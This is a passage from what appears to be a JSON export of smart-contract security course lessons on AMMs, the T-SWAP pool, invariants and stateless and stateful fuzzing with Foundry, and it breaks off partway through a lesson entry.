provider C receives LP tokens. How many?\n\nWell, we can calculate that by taking the ratio of the funds they've added to the total funds, in this case, 0.2 (or 20%). Multiplying this by the total LP Tokens, we deduce that liquidity provider C will receive 50 LP Tokens, granted their contribution.\n\nConsequently, we now have a total of 250 LP Tokens in circulation. At this juncture, we also have a pool of 2500 USDC and 250 WETH ready for trades.\n\n## How Fees Make Money For Liquidity Providers\n\nThe burning question now is: How do liquidity providers make profits? The answer lies with the transaction fees mentioned earlier.\n\nEvery trade results in a fee that slightly adjusts the ratio of assets in the pool. For instance, if a user trades 10 USDC for 1 WETH, they're also charged a fee (0.3 USDC in our example), which changes the pool balances to 2510.3 USDC and 249 WETH.\n\nWhen a liquidity provider chooses to withdraw their funds, they can redeem their LP tokens for an amount of each pool asset proportional to their LP tokens. So, if Liquidity Provider C withdraws their 50 LP Tokens (representing a 20% stake), they'll get back their original investment plus their earned fees.\n\nLet's crunch some numbers:\n\n```markdown\n# Assuming 1 WETH is equivalent to 10 USDC\n\n# Initial Deposit: 500 USDC and 50 WETH\n\n# Amount Withdrawn: 502.6 USDC and 49.8 WETH\n\n# Equivalent to: 498 USDC + 502.6 USDC = 1000.6 USDC\n\n# Profit: 1000.6 USDC - 1000 USDC = 0.6 USDC\n```\n\nIt's by these accruing transaction fees that liquidity providers gain returns on their investments. The more trades executed, the more fees generated and the more money they make, providing an explanation regarding why so many are lured towards becoming liquidity providers.\n\n## Wrapping Up\n\nAt a high level, this is the underlying mechanism of an automated market maker like Uniswap. It might seem complex or counterintuitive at first, especially given the novel concepts and the involvement of mathematical models. But with some involvement and time, I assure you, it all starts making more intrinsic sense.\n\nIn the end, it's about providing liquidity, facilitating exchanges, and earning fees - all in a decentralized manner on the blockchain.\n\n> \"Decentralized finance might seem mesmerising at first, but when you dive into it, you realize it's all about providing liquidity, facilitating exchanges, and earning rewards – all in a decentralized way on the blockchain.\"\n\nStay tuned for more deep-dives into the ever-evolving world of decentralized finance!\n", + "updates": [] + }, + { + "lessonId": "3a439ac2-6269-4ca3-9152-8fc65b99a683", + "number": 7, + "title": "How AMMs Work", + "slug": "how-amms-work", + "folderName": "7-how-amms-work", + "description": "", + "duration": 5, + "videoUrl": "zJAJSEA014rfj6VNwcIbCRic01jhR8bDsVk4wCZ3vvBjA", + "rawMarkdownUrl": "/routes/security/5-tswap/7-how-amms-work/+page.md", + "markdownContent": "---\ntitle: How AMMs Work Recap\n---\n\n\n\n---\n\n# Understanding Automated Market Makers, T-SWAP and Uniswap\n\nCramming a ton of concepts into one learning session can be overwhelming. But let's decode the concepts of T-SWAP or Uniswap, and how Automated Market Makers (AMMs) operate and differ from traditional order books.\n\n## Reviewing Traditional Order Books\n\nIn typical exchanges, a user may propose a trade, for instance, as wanting 1 ETH for 10 USDC. This proposal gets placed into an order book. Users are then able to propose their own trades or to accept others' proposals. This method is how a traditional centralized exchange operates, using the order book methodology.\n\nHere's a basic example:\n\n> \\[ User1: TRADE PROPOSAL — 1 ETH for 10 USDC \\]\n\nHowever, a lot happens behind the scenes in this model. Orders are being matched, and with an extensive list of orders in their order books, this process can be highly gas-consuming, involving multiple transactions on the centralized exchange.\n\n**IMAGES HERE**\n\nThe challenge with decentralized finance (DeFi) is this model's costs. If many transactions lead to significant gas spending and if you have to wait for someone to accept your trade, it could take quite a few blocks. So, the question is — how can we manage costs and keep trading to one transaction?\n\n## Introducing Automated Market Makers (AMMs)\n\nEnter AMMs, a solution to the above problems. Instead of an order book, we work with giant pools of money and utilize the ratio between these pools as the assets' price. To take money out of one pile, you need to put equivalent ratio into the other pile. This concept is known as the AMM, more specifically, the constant product market maker or constant product formula.\n\nAlso, each swap that users make on their smart contract collects an added fee. These fees incentive people to create and contribute to these money pools as liquidity providers actually make profit from these accumulated fees with more trades people make.\n\n## Understanding T-swap and Uniswap\n\nBoth [Uniswap](https://uniswap.org/) and T-swap use the AMM model. Uniswap, for instance, has gone through several iterations (v1, v2, v3 with v4 currently in progress), each slightly different but fundamentally based on the AMM's principles.\n\nWhen learning a protocol, consider taking a hands-on approach. Connect to the protocol through a secure wallet and test out transactions.\n\n> **NOTE:** The 'Discussions' tab, Piranha IO, the Ethereum Stack Exchange, Discord, and Telegram are invaluable resources for understanding novel solutions that developers and protocol creators are cooking up. Get comfortable asking questions, especially when conducting a private audit.\n\nWith time, the process becomes more navigable, allowing you to understand the protocols and begin tinkering with the code.\n\n## Building Context and Better Understanding AMMs\n\nLet's explore further. If unclear, don't sweat it. It's okay to not get everything right away — continue to ask questions and gradually everything will fall into place.\n\nBrowse through the Git repo associated with the current section, go to the audit data branch, and take a good look at the accompanying diagrams. They will offer a good visual understanding of how these concepts interlock.\n\nTo better understand AMMs and keep up with the evolving world of DeFi, keep probing, keep asking questions, keep building context. No one method is a silver bullet — the best way to learn is the way that works for you.\n\n> \"The more you work with it, the more sense it'll make.\"\n", + "updates": [] + }, + { + "lessonId": "82992418-cc58-44f2-834d-3a3450284f54", + "number": 8, + "title": "TSwap Recon Continued", + "slug": "t-swap-recon-continued", + "folderName": "8-t-swap-recon-continued", + "description": "", + "duration": 3, + "videoUrl": "knE1hhvNNInu6UDaUpUcB009IRMz801so7fgDECNZuq1U", + "rawMarkdownUrl": "/routes/security/5-tswap/8-t-swap-recon-continued/+page.md", + "markdownContent": "---\ntitle: T-SWAP Recon Continued\n---\n\n\n\n---\n\n# Decoding the AMM Swapping Process using Pool Factory Contracts\n\nIn our last conversation, we delved into the complexities of the AMM (Automated Market Maker) swapping process. This blog post builds on that foundation, unravelling other critical sections and explaining how a pool factory contract fits into the picture.\n\n![](https://cdn.videotap.com/KhZyFmTzPcrusQqCBOsj-8.05.png)\n\n## Diving into a Pool Factory Contract\n\nAt its core, the protocol begins as a pool factory contract, which you can use to create new pools of tokens. Glancing through the audit data branch, you'll notice the `poolfactory.sol` that includes this `Create Pool` function. This function is responsible for forming these AMM pools, hallmarking a major component of our swapping process.\n\n```js\nfunction createPool(address tokenA, address tokenB) external returns (address pool) {\n // ...\n return pool;\n}\n```\n\nMade it more evident, when we zoom into the `poolfactory.sol`, it's seen that various token pairs can be created. For instance, there's a USDC WETH pool being created with the `Create Pool` function. Yes! You just don't create pools; it's also about combining different token pairs to form these pools.\n\n## Understanding the Logic behind Pool Contract\n\nThe contract used to create new pools ensures that each pool token adheres to the correct logic. Nonetheless, the real allure of these pool contracts comes alive with each T swap pool contract.\n\nTo highlight this point, I navigated the SRC, where I found the `create pool` function in play (highlighted in the `poolfactory.sol`). This function sprung my curiosity, and I began exploring it more.\n\nTo my delight, I discovered that the function seemingly calls this new TSWAP pool function. Though information-dense, the sequence makes sense as the `Create Pool` function is being called to create a new pool contract.\n\nAfter investing some time into exploring the process, I realized that each TSWAP contract operates as an exclusive exchange between two specific assets, as originally depicted in our early diagram with ne ERC 20 and the WETH token.\n\n## Bridging the Gap via Pools and WETH\n\nThe magic of WETH lies in its ability to specifically provide pools with the power to allow users to freely swap between an ERC 20 having a pool and WETH (Wrapped Ether). With a sufficient number of pools created, they enable an easy hop between supportive ERC 20s.\n\nIf this sounds like a challenge, consider this; if I possess USDC, I could swap from USDC to WETH. Then, switching from WETH to Link becomes feasible because there's likely going to be a USDC WETH pool and a Link WETH pool.\n\nNow, let’s explain the process with an easy example,\n\n> User A has ten USDC. They want to swap it for die. So, they swap their ten USDC for WETH in the USDC WETH pool. They then swap their WETH for die in the Dai WETH pool.\n\nIt falls into place now, doesn't it? Every pool designates a unique pair between some tokens and WETH. Not only does it provide functionality for swapping but also gives developers insight into the two functions enabling the swap process.\n\nAt the higher level, this is how swapping works, and playing around with the sample codes will only enrich your understanding of the process.\n\n## Role of Liquidity Providers\n\nHopefully, this article provided you with useful insights into the process of pool creation, swapping, and the essence of LPs. However, there's much more to explore and understand, and it's fascinating to see how these different components intricately work together to enable seamless AMMs.\n", + "updates": [] + }, + { + "lessonId": "7e94a8f8-45d8-4500-a442-c6405637fc5c", + "number": 9, + "title": "Invariant & Properties Introduction", + "slug": "invariant-&-properties-introduction", + "folderName": "9-invariant-&-properties-introduction", + "description": "", + "duration": 3, + "videoUrl": "IDlcJVI801yE5cL00TjoLILVMQ6N02pSVHht8c4HyzMbN4", + "rawMarkdownUrl": "/routes/security/5-tswap/9-invariant-&-properties-introduction/+page.md", + "markdownContent": "---\ntitle: Invariant & Properties Introduction\n---\n\n\n\n---\n\n# Demystifying Core Invariants in Blockchain Protocols\n\nDiving deep into the world of Blockchain, I thought to explore something fundamental yet intriguing: the concept of **invariants**. Invariants form the bedrock of most blockchain protocols, a feature you will encounter in almost every protocol ranging from ERC 20s to ERC 721s. Understanding this critical element is vital for anyone looking into the inner workings of these protocols.\n\nIn this blog, we'll cover invariants thoroughly while also touching on how to inspect them properly. We'll hope to do so by investigating the TSWAP protocol and its core invariant. Create a hot beverage, loosen up, and let’s probe these invariants together!\n\n## What are Protocol Invariants?\n\nInvariants, in blockchain terms, are properties or conditions within a system that remain unaltered regardless of the actions carried out within the system. They are dynamic rules ensuring the system's safety, and they play a pivotal role in designing tokens in blockchain protocols.\n\nFor instance, various types of tokens like ERC 20, ERC 721, or ERC 626 have numerous invariants to their names. Each ERC 20 has 20 properties or invariants while an ERC 721 has 19. As you'll discover later in this course, ERC 626 tokens, which we'll cover in the _Vault Guardians_ section, boast of whopping 37 properties.\n\nTo get a hang of these properties, you can pay a visit [here](https://blog.trailofbits.com/2023/10/05/introducing-invariant-development-as-a-service/), at the _Trail of Bits repository_. This repository neatly lays out the invariants of an array of tokens.\n\n## TSWAP Protocol and Invariants\n\nNow, let's turn our gaze towards the TSWAP protocol. If you explore the protocol, you'll encounter the gift the developers have graciously provided: the core invariant.\n\nHowever, it's noteworthy to understand that sometimes developers may not correctly establish the invariant. In such cases, the onus falls on us, the _Security Experts_, to ensure accuracy. While the developers hand you the necessary details, understanding and breaking down the invariants becomes a task of paramount importance.\n\nUnfortunately, many developers do not fully grasp their own created invariants. Bearing this in mind, you might come across instances where you need to discern the invariants by referring to the documentation. Therefore, it's crucial for every developer to understand invariants better or properties.\n\n## Invariants and Fuzz Testing\n\nAs we've already laid some groundwork on invariants, let's now head towards a deeper understanding of them by considering fuzz testing.\n\n> “Fuzz testing or fuzzing is a method for discovering coding errors and security loopholes in software, networks, or operating systems by inputting massive amounts of random data to the system in an attempt to make it crash.”\n\nI've brought together a series of fuzz testing videos which we will delve into dipping our toes into the in-depth understanding of invariants and fuzzing.\n\nBut before that, if you are an alumnus of the **Foundry Course**, you may already have a basic understanding of fuzzing. Nevertheless, a refresher would surely help as we dig deeper into the concept with a more in-depth pedagogical approach.\n\nIn the next phase, we will examine a quick informative video to enhance our understanding of invariants and the varied tactics to evaluate them, with a specific focus on fuzz testing.\n\nBuckle up, recalibrate your focus, and let’s take this enlightening journey on understanding the invariances better. After all, there's no better time to learn something new than right now. Stay curious!\n", + "updates": [] + }, + { + "lessonId": "cfdd384a-8605-435d-a4e6-54a8423bfef7", + "number": 10, + "title": "Stateful And Stateless Fuzzing", + "slug": "stateful-and-stateless-fuzzing", + "folderName": "10-stateful-and-stateless-fuzzing", + "description": "", + "duration": 10, + "videoUrl": "xQx6cWAYc7smFlIS800iYrTKmzFNeI0252UZoX8usT2tY", + "rawMarkdownUrl": "/routes/security/5-tswap/10-stateful-and-stateless-fuzzing/+page.md", + "markdownContent": "---\ntitle: Stateful and Stateless Fuzzing to Test Invariants\n---\n\n\n\n---\n\n# Mastering Fuzz Testing to Secure Your Code\n\nAh, contracts written, tests conducted — time to ship your code, right?\n\nWrong.\n\n![](https://cdn.videotap.com/tSLOq12UEqMlEKM1ZYUu-34.65.png)\n\nThe answer is a straightforward no, as your code can easily fall prey to a flash loan attack. This post will guide you through the complex but fascinating world of Fuzz Testing and how it can help you safeguard your code from unexpected exploits.\n\n## The Notorious Flash Loan Attack\n\nIn essence, a flash loan attack could jeopardize your whole system, regardless of how well you've written or tested your code. As intriguing as it may sound, this breach results from already prepared and unthought-of scenarios that lack appropriate tests.\n\n> \"Most of the time, hacks will come from a scenario that you didn't think about or write a test for.\"\n\n## Enter: Fuzz Testing\n\nFuzz testing (also known as fuzzing) is a robust fix to cope with these random yet deadly exploits. It involves supplying random data to your system with an aim to break it — just like relentlessly trying to pop a balloon until it finally gives in, serving as a metaphor for our system code here.\n\nSounds a bit odd, huh? Why would we want to break our own system?\n\n![](https://cdn.videotap.com/EkFB4lChiHAsfS8axMsP-150.16.png)\n\nGlad you asked. Here's where the concept of invariants or properties of a system come into play. These are the untouchable rules or the inviolable conditions in our system that should always hold true. For instance, in a function that mandates our variable outcome to always be zero, this condition would be our invariant.\n\n## Testing: Unit Test vs. Fuzz Test\n\nConsider our function called `doStuff` which accepts an integer as an input parameter and promises to always return zero.\n\nThis code passes a single data point, calls the function and then asserts that the variable `shouldAlwaysBeZero` is indeed zero. With such a test, our function seems to be covered for the given data input.\n\n### - Fuzz Test:\n\nHowever, what if the data input is different? What if it’s two, causing `shouldAlwaysBeZero` to become one and thereby breaking our invariant?\n\nIn this Fuzz test, we replace the manually selected data in the original unit test parameter with randomized data (commenting out the previous line of code). When you run a test here, the program will automatically randomize the data, resulting in different examples.\n\nRunning the aforementioned unit test will pass, but running the equivalent Fuzz test will actually highlight where our system fails. It'll show an output where it says \"assertion violated\" and provide the data and arguments that caused the fail, all by randomly throwing data at our function.\n\nThat said, it's important to understand that Fuzzers won’t cover every single possible input, hence, understanding how your Fuzzers pick the random data is a crucial skill to develop.\n\n## Moving on to Stateful Fuzzing\n\nA Fuzz test is usually a stateless fuzz test, meaning the state of the previous run is discarded for the next run. However, in some cases like our example, we need the outcome of the previous run to influence the next one. For this, we bring in Stateful Fuzzing.\n\nStateful Fuzzing is where the ending state of our previous fuzz run is the starting state of the next fuzz run. For example, instead of creating a new instance of our contract for each test run, we use the same contract and perform multiple operations on it.\n\nWe can use Foundry's invariant keyword to perform stateful fuzzing, but first, we need to import the `STD invariant` contract, let Foundry know which contract to call random functions on, and then, write our invariant.\n\nUpon running this test, we will finally discover a sequence where our assertion fails, providing us with the information to adjust our code accordingly.\n\nWhile fuzzing with Foundry, an important distinction to keep in mind is between fuzzing or stateless fuzzing and invariants or stateful fuzzing.\n\n## Embedding Fuzz Testing into Your Routine\n\nIn a real-world setting, your invariant might not be as simple as our example. It could look something like ensuring new tokens minted are less than the inflation rate or creating a lottery game where there should only be one winner. Although fuzz testing isn't a substitute for expert manual review, it is certainly a critical tool to thwart vulnerabilities in your code.\n\nFinally, we hope you've gained a solid knowledge of the basics of fuzz testing. Fear not, you're not alone in your journey. At [cyfrin](https://www.cyfrin.io/), we use invariants during our audits to identify vulnerabilities that are frequently difficult to catch purely with manual reviews.\n\nStay tuned for our next post where we'll delve into the advanced fuzzing techniques and help you become a fuzzing pro. Together, let's strive to make Web 3.0 even better! Happy coding!\n", + "updates": [] + }, + { + "lessonId": "453797a9-269f-4b55-a04d-42e759298e40", + "number": 11, + "title": "Stateless And Stateful Fuzzing Practice", + "slug": "stateless-and-stateful-fuzzing-practice", + "folderName": "11-stateless-and-stateful-fuzzing-practice", + "description": "", + "duration": 5, + "videoUrl": "WFMFpiMv02tkF01CdWAlHn01gtmJ101oQmD9MLr003LxkC68", + "rawMarkdownUrl": "/routes/security/5-tswap/11-stateless-and-stateful-fuzzing-practice/+page.md", + "markdownContent": "---\ntitle: Stateless and Stateful Fuzzing Practice Introduction\n---\n\n\n\n---\n\n# Proficiency in Invariant Tests and Fuzzing Tests: Professional Insights and Practicum\n\nHello everyone, today we delve deeper into the intriguing world of invariant tests and fuzzing tests. Buckle up as we gear up to break some contracts by exploring these tests, intentionally leaving the code unexamined for now. Our curiosity piqued? Let’s get into it!\n\n## Diving into Code Bases\n\nWe can’t help but sneak a peek into the code now, can we? Since we are here, let's analyze this exemplary TSWAP pool code base.\n\n![](https://cdn.videotap.com/9DXkrFHNdYGt3CJIJuAh-39.png)\n\nIt's filled with a plethora of comments, functions, and other intricate elements - it's enough to make the most seasoned of us a tad bit overwhelmed. Amongst us is the pool factory that stands minimal. We notice that the primary responsibility of pool factory is to create pool functions. Isn’t it interesting to note the stark contrast between TWSAP pool code base and pool factory?\n\n## What About the Security Review Test?\n\nGood question! We’ll get there, but remember, we are just humans, and the chance for errors and omissions is high. We might fail to spot certain defects during the manual review of the security test. This is precisely why leveraging automated tools as much as possible for these reviews is essential. Trust me, the experiences we collect from the practice of working with these tools are going to be invaluable.\n\n## Plunge into Fuzzing: Stateless and Stateful\n\nIn this chapter, we will focus on working with **stateless** and **stateful** fuzzing along with some advanced strategies. These techniques have personally worked wonders for me in competitive audits. My method has been to comprehend a protocol's invariant without really examining the code base, write an invariant test suite, and voila – bugs are unveiled effortlessly.\n\nThere are also other fuzzers to explore. Take the [Echidna Fuzzer](https://github.com/crytic/echidna) by the Trail of Bits team, for instance. Famed for being a smart fuzzer and powered by 'Slither', it is a fantastic tool indeed. Another outstanding option is the [Consensys Fuzzer](https://github.com/Consensys/diligence-fuzzing). This is a paid corporate cloud fuzzer and hence we won't be able to provide a walkthrough for it. [Foundry](https://github.com/foundry-rs/foundry) is yet another promising candidate with built-in fuzzing.\n\nHere is the content that these READMEs possess:\n\n- An understanding of what invariants are\n- A better insight into the different strategies we plan to employ to break invariants and discover vulnerabilities.\n\nI strongly recommend that you go ahead, pause this session, and thoroughly read through this. Trust me, understanding it now will make it easier when we get into the hands-on segment.\n\n## Breaking Invariants: The Game Begins\n\nLet's now move forward to the fun segment – you will write code along with me and understand every snippet. I assure you that by the end of this, you will have become an invariant testing pro. This mastery over the subject will help you discover vulnerabilities quicker and more effectively.\n\nFirst, in your code base, find the Invariant Break folder and remove it. Yes, you heard it right – remove it! Doing so is a sure-shot way to ensure you are not merely copy-pasting but genuinely understanding every piece of code. Let's start with stateless fuzzing.\n\nOnce we are through with learning these strategies for fuzzing, we'll return to our Uniswap code base and familiarize ourselves with its 'x times y equals k' core invariant. We'll then try to break it and uncover bugs without examining the code base and solely understand the invariants.\n\nSo let's gear up and set out on this exciting and insightful journey of breaking invariants and fuzzing, navigating through this incredible world of coding and contracts. Let's learn, practice, improve, and ultimately – strive towards becoming super badasses in smart contract testing and auditing.\n\n> \"The only way to learn a new programming concept is by writing programs.\" - Dennis Ritchie\n", + "updates": [] + }, + { + "lessonId": "de00c65e-7aa4-4e9c-bafb-c8df31aff63a", + "number": 12, + "title": "Stateless Fuzzing", + "slug": "stateless-fuzzing", + "folderName": "12-stateless-fuzzing", + "description": "", + "duration": 9, + "videoUrl": "00TNZxT2re4tNO88zGwdb12ssA9fUDxByOGgZvEN2H00M", + "rawMarkdownUrl": "/routes/security/5-tswap/12-stateless-fuzzing/+page.md", + "markdownContent": "---\ntitle: Stateless Fuzzing\n---\n\n_Follow along with the video:_\n\n\n\n---\n\nToday, we'll be navigating through the SC exploits minimize codebase, focussing specifically on the `Invariant Break`. We aim to understand, practice, and discuss the power of stateless fuzzing, an essential tool in the world of software testing. Rest assured, we will also provide a minimized example to clarify how it works.\n\n## What is Stateless Fuzzing?\n\nStateless fuzzing, often referred to simply as fuzzing, is a technique where random data is supplied to a function to break some invariant or property. Remembering our discussion from the video of continuously attempting to pop a balloon serves as an apt analogy. It's all about continuously providing different inputs to a function until it breaks. If you have a function with an invariant that it should never return zero, then fuzz testing might just be the answer.\n\n## Breaking the Invariant: Writing the Test Case\n\nWith our codebase ready, and ourselves aware of the functionality we are testing. We need to write the test case to break it. Let's create a new folder named `Invariant Break` to prepare for our first stateless fuzz test. Naming the test `statelessfuzzcatchestest.sol`, we focus on catching the bug automatically using fuzz testing.\n\nThis test is more than just a unit test which checks the invariant once. With fuzzing, we apply various random numbers to the function and see if it breaks the invariant or not. The beauty of this strategy is that we can detect issues that can be missed out on during manual checks or basic unit tests.\n\n![](https://cdn.videotap.com/3SkpmLCCBFnsZH2yqkEW-412.31.png)\n\n## Setting the Fuzz Options\n\nLet's take a moment to understand the fuzz options. The number of runs determines the number of different balloons (inputs) we use in a stateless fuzz option. So we need to carefully adjust this value to ensure we're checking for as many edge cases as possible. Another crucial property is the seed, which, when kept the same, will offer the same inputs instead of random ones. This can be extremely helpful in debugging.\n\n![](https://cdn.videotap.com/BjOp2RCvRkPDt2VcD5fL-453.54.png)\n\nWith the fuzz options set, our test is ready to run. After a few runs, the test should fail, meaning our fuzz test has successfully caught the bug—great job on creating your first fuzz test. But what if it doesn't fail? Well, you may need to increase the number of runs or change the seed. With randomness at play, there's never a 100% guarantee that you'll catch the bug in a particular run. This makes the fuzzing process a bit of hit or miss, but the advantages outweigh this con, as it helps to ensure the robustness of your functions.\n\nSeeding different values and number of fuzzing runs directly impact how thoroughly the test cases are checked. Adjust these values according to your specific needs, cover as many alleyways as possible - fuzz it till you dust it off! But remember, it's crucial to analyze the balance between the number of runs, seed selection and performance of your testing.\n\n## Wrapping Up Stateless Fuzzing\n\nIn conclusion, stateless fuzzing is a powerful tool for catching bugs where you expect a specific invariant. However, it's important to remember its limitations, such as being stateless and so not being able to pick up on issues caused by interactions between different functions. It's also a tool reliant on randomness, which means you can never be sure you've explored every possible scenario. Yet it remains a swift and highly efficient method for bug hunting.\n\nIn the upcoming sections, we'll move forward from stateless fuzzing to touch upon more complex and exciting testing methodologies. Until next time, happy fuzzing!\n\n> “It’s not at all important to get it right the first time. It’s vitally important to get it right the last time.” - Andrew Hunt and David Thomas\n", + "updates": [] + }, + { + "lessonId": "34e42011-1e07-4f7a-ba66-cffd239fa490", + "number": 13, + "title": "Where Stateless Fuzzing Fails", + "slug": "where-stateless-fuzzing-fails", + "folderName": "13-where-stateless-fuzzing-fails", + "description": "", + "duration": 11, + "videoUrl": "02AK19ljI63pu4cbDsKkJCgrjnBW101zIUKUzBt00Eum00w", + "rawMarkdownUrl": "/routes/security/5-tswap/13-where-stateless-fuzzing-fails/+page.md", + "markdownContent": "---\ntitle: Where Stateless Fuzzing Fails\n---\n\n\n\n---\n\nHello readers, today, we're diving into the realm of stateful fuzzing. If you've been following our development journeys on smart contracts, you already know about stateless fuzzing. Stateless fuzzing, as we've discussed before, starts every fuzz run from scratch.\n\nBut with stateful fuzzing, things get a bit more exhilarating! Upon each pass of stateful fuzzing, the outcomes from the previous run become inputs to the next run.\n\n### Defining Stateful Fuzzing\n\nSounds interesting? Let's illustrate using a simple example.\n\nImagine you have a balloon. You do one thing to try to pop it, say, drop it. If it doesn't pop, instead of grabbing a new balloon, you apply another action on the same balloon, like kicking or squeezing it.\n\nThe same theory applies to our smart contracts. We call a function on our contract, change its state, and then repeat the process on the **same** contract. Quite unlike stateless fuzzing, where you start with a fresh state at every run!\n\n#### Running the Fuzz Test\n\nAfter ensuring everything is set, we’re now ready to run our fuzz test on this. Perhaps by making 1000 runs initially.\n\nDid it find a bug? No. You may be tempted to increase iterations to say, 10,000, then 100,000 or maybe even to a million runs! But listen, no matter how long you wait for the fuzzer to finish running, it will **never find the bug**\n\nThis is because the initial value was mounted at one and the balloon (contract state) you created is still at one, having slipped back to its initial state with each run. The only time it could return zero, breaking our invariant, is when the value changes to zero. Therefore, the contract's state must change.\n\nThis is precisely what a stateful fuzz test can find for us!\n\n> _“Talk is cheap. Show me the code.”_ \n> _- Linus Torvalds_\n", + "updates": [] + }, + { + "lessonId": "c8b0a51e-b8f1-410b-9d57-1c56ccb99a22", + "number": 14, + "title": "Fuzzing Where Method 1 Fails", + "slug": "fuzzing-where-method-1-fails", + "folderName": "14-fuzzing-where-method-1-fails", + "description": "", + "duration": 18, + "videoUrl": "iZX9yLjkpgEbXjjuBnUcETEtjs4UUyvUHIn1OXYWIxc", + "rawMarkdownUrl": "/routes/security/5-tswap/14-fuzzing-where-method-1-fails/+page.md", + "markdownContent": "---\ntitle: Stateful Fuzzing Where Method 1 (open) Fails\n---\n\n\n\n---\n\nWelcome back fellow learners! We are on this exciting journey together to lay the foundation of Smart Contract Security Testing. What have we learned thus far?\n\n## Stateless Fuzzing vs Stateful Fuzzing\n\nWe discovered that stateless fuzzing was not effective in detecting bugs in functions which require more complexity, such as `changeValue` - a function which updates a contract's state.\n\n```js\nfunction changeValue(uint256 _value, uint256 _multiplier) public {\n value = _value * _multiplier;\n}\n```\n\nIn this case, we employed a mechanism known as stateful fuzzing. With this method, we can catch much more subtle and nuanced bugs by accounting for contract state changes during fuzzing.\n\nHowever, we encountered a hiccup when we were dealing with an integer overflow issue. We had to set the `failOnRevert` to `false` for our fuzzing test to work! That's because `myValue` could be a huge number, larger than a `uint256` can hold, causing an overflow.\n\nDespite these hurdles, we soldiered on and made it this far. Now, it's time to graduate to an even more complex scenario - fuzzing a vault contract!\n\n## Breaking The Invariant With Stateful Fuzzing\n\nSo, let's start by attempting to break this invariant using stateful fuzzing.\n\nFirstly, we'll set up the test contract and import our dependencies, including the token mocks that will be used.\n\nNext, we'll create a token array and launch the tokens to be supported by our token vault. We will then set up the user who'll be interacting with the vault and provide them with a starting amount of tokens.\n\nFinally, we compose the fuzzing test itself. We begin by pranking the user, effectively manipulating their available tokens. We then perform the withdrawal operation of both types of tokens from the vault. Eventually, we assert that the user's token balance has not changed after the deposit and withdrawal operations.\n\nThe critical learning here is that we should always be able to withdraw the same amount we've deposited - this assertion must not fail!\n\n## All That Glitters Is Not Gold\n\nAlas, it appears that we celebrate too soon. On running this test, it's clear that we've run into an issue - our deposit function fails!\n\nWhen this happens, a good practice is to turn on the verbose logs ( -vvv flag) to see what's happening beneath the hood. We quickly detect the root cause - our fuzzer was making deposit attempts with unsupported tokens.\n\nToo much randomness in fuzzing can be just as detrimental as not enough randomness. We also notice that we never made the approve call for the ERC20 tokens, which was necessary for a deposit operation. Our fuzz test was essentially doomed from the start!\n\n## TL;DR\n\nIn this blog post, we discussed the progression from stateless to stateful fuzzing for smart contract testing. While stateless fuzzing is fantastic for catching some easy bugs, it falls short in detecting bugs in the case of more complex functions.\n\nStateful fuzzing overcomes these limitations, but it comes with its own set of challenges, like dealing with integer overflows. The takeaway here is the importance of finding the goldilocks zone of randomness while fuzzing - too little or too much can skew our test results!\n", + "updates": [] + }, + { + "lessonId": "4a94be28-9b2e-49ca-a666-7eac99cf2d6d", + "number": 15, + "title": "Stateful Fuzzing Method 2", + "slug": "stateful-fuzzing-method-2", + "folderName": "15-stateful-fuzzing-method-2", + "description": "", + "duration": 14, + "videoUrl": "a01yHqmMWhOEY79XH1gkkBboGZ01nJGkzudX5VnjBXQaY", + "rawMarkdownUrl": "/routes/security/5-tswap/15-stateful-fuzzing-method-2/+page.md", + "markdownContent": "---\ntitle: Stateful Fuzzing Method 2\n---\n\n_Follow along with the video:_\n\n\n\n---\n\n# Working with Smart Contracts Using Foundry: Setting up Handlers and Invariant\n\nIn this digital world where cryptocurrencies like Bitcoin, Ethereum, and others are trending, it's essential to understand how to use and create smart contracts. This article will guide you on how to create two new contracts utilizing Foundry; a known blockchain testing framework. The contracts to be created are `handler.t.sol` and `Invariant.t.sol`.\n\nComing along, we will also explore how to work with the `fail on revert` function.\n\n## Setting up the Handler Contract: `handler.t.sol`\n\nHandling smart contracts could be complex, especially if you're a beginner. However, with Foundry, we can manage our function calls to focus on vital operations for our code base, resulting in a less error-prone contract.\n\nConsider the idea that we have two types of users in our system; one who can deposit and another, withdraw. This simplification gives us a better sense of controlling bugs by ensuring an easier flow of interactions. Consequently, the `fail on revert` option should ideally be set to true. This validation will allow us to confirm the validity of our tests.\n\nWhen set to false, if our fail on revert test passes, it presents no valuable insight because there are too many pathways for the fuzzer to follow, potentially calling irrelevant functions. Although starting with the fail on revert set to false can be a suitable starting point, the intention should always be to work towards getting it set to true.\n\nNow, to the creation of our `handler.t.sol`. This particular contract will be set up as the intermediary for restricting the `handler stateful Fuz catches` contract.\n\nThrough the handler, we will instruct our Foundry and `Stateful Fuzzing Test Suite` to correlate with the `handler stateful Fuz catches` contract appropriately. We are essentially telling the Foundry when to call deposit, to approve, mint, and have the tokens. Likewise, when to call withdraw; all these with precise guidelines on avoiding explosive function calls.\n\nIn the handler contract, specific lines are written for the 'ERC20 token' and the 'USDC token'. Here's what the snippet looks like:\n\nThis handling setup focuses on 'deposit' and 'withdraw' functions thus curbs randomness and gives our fuzzer more accurate paths to follow, thereby giving correct and more reliable test results.\n\n## Setting up the Invariant Contract: `Invariant.t.sol`\n\nThe `Invariant.t.sol` involves creating the invariant test. Here, unlike in the handler contract `handlerT.sol`, we are particularly interested in an invariant that interacts with the handler contract and not the actual contract.\n\nTo begin setting up `Invariant.t.sol`, start by importing the handler with a line of code that looks like this:\n\nConsequently, instead of fuzzing the actual contract, we are going to fuzz the handler in a process that is easier and more sensible. The logic is that we want our transactions handled in a way that makes sense and thus the adoption of the `fuzz selector` as seen in the code below:\n\nThis instructs the contract that the selectors and the target address to be used are those outlined in the handler.\n\n## In Conclusion\n\nSetting up the `handlerT.sol` and `Invariant.t.sol` contracts helps break down the complexity of dealing with smart contracts. By implementing these contracts, we have given Foundry a framework to follow that makes its function calls more logical and less random. Therefore, we no longer have to deal with reverts, and we can focus better on our tests, making our iterations more meaningful and insightful.\n\nRemember, the best way to become proficient at handling smart contracts is repetition. Practice by trying these methods out on your old code bases, which should help you improve your coding skills and understanding of stateful fuzzing. You don't have to become an expert all at once; take small steps and ask questions when you face roadblocks.\n\nAll being said, smart contracts could save significant time, reduce the risk of manual errors, and thus revolutionize the way we perform secure transactions. Learning how to work with them will not only keep you relevant but also give your work an edge.\n\n> Note: This article assumes that you have a basic knowledge of smart contracts Foundry and programming. It might be helpful to do a bit of reading if you're not familiar with these topics.\n\nHappy coding!\n", + "updates": [] + }, + { + "lessonId": "2b9d46bd-50a3-4def-8595-618c46346854", + "number": 16, + "title": "Debugging Fuzz Sequences", + "slug": "Debugging-Fuzz-Sequences", + "folderName": "16-Debugging-Fuzz-Sequences", + "description": 